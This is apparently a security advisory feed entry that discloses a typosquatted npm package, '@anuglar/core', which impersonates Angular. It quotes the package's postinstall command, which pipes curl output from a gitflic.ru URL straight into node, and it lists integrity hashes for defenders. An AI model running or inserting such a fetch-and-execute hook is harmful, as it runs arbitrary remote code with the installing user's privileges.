Skip to content
Heist/ feed
Unrated

Malicious code in @anuglar/core (npm)

Type: advisorySource: OSV1 source record

--- _-= Per source details. Do not edit below this line.=-_ ## Source: amazon-inspector (5f23ef78cc88817166cff7f8fdf3f1839c610880d960d9394e286da232058f98) Package name '@anuglar/core' is a one-character transposition of '@angular/core' and copies the legitimate package's description ('Angular - the core framework'), author ('angular'), and repository URL to impersonate it. The package.json postinstall lifecycle script runs `curl -L https://web.archive.org/web/https://gitflic.ru/project/hellscripter/install-scripts/blob/raw?file=node.js | node`, downloading arbitrary JavaScript from a third-party host (gitflic.ru, fetched via web.archive.org) and piping it directly into node for execution on `npm install`. The fetched code is unpinned, unhashed, and not shipped in the tarball, so its contents can change at any time and are executed with the privileges of the installing user. The script also references `ps` and `id` for host reconnaissance.

Announced Source revision 1
Original source ↗

MAL-2026-17541

Primary source · Revision 1

Imported from structured advisory data. Source references identify upstream records or fields; verify affected versions and your deployed configuration.

Security context

Source reference: osv:MAL-2026-17541

@anuglar/core

Source reference: /affected/0/package/name

Affected versions
22.2.1

Source reference: /affected/0/versions

Fixed versions
Not stated in this record
Prerequisites
Not stated in this record

Structured affected-version data

Original package identities and version rules from this source.

[
  {
    "package": {
      "name": "@anuglar/core",
      "purl": "pkg:npm/%40anuglar/core",
      "ecosystem": "npm"
    },
    "versions": [
      "22.2.1"
    ],
    "database_specific": {
      "cwes": [
        {
          "name": "Embedded Malicious Code",
          "cweId": "CWE-506",
          "description": "The product contains code that appears to be malicious in nature."
        }
      ],
      "source": "https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/@anuglar/core/MAL-2026-17541.json",
      "indicators": {
        "evidence_files": [
          {
            "path": "package.json",
            "tlsh": "6d513624e4f48d6323de6294dd2a4943b138495b5c38bd68b3dd009c8f0e61f21beb9a",
            "sha256": "2de6dee8c71002d54518aa49e62bffa1081200c0c7ff1a03a0ce791cbfe8f716"
          }
        ],
        "package_integrity": [
          {
            "hashes": {
              "sha1": "cb12f38a3d35bf7d9400843db114fcbe81172751",
              "sha512_sri": "sha512-n+T2S96kVw6a928DUvq+XujARUa/kcoUHJV8TxnSgdzkCB0TrBok/Vh3Xz4TzFX7oCT3gvdLV3pDyP2klZVFTQ=="
            },
            "filename": "core-22.2.1.tgz"
          }
        ]
      }
    }
  }
]

Publisher severity

No explicit severity was provided.

Event
#83618 · Revision 1
Added to Heist Feed
Publisher date
Read the original announcement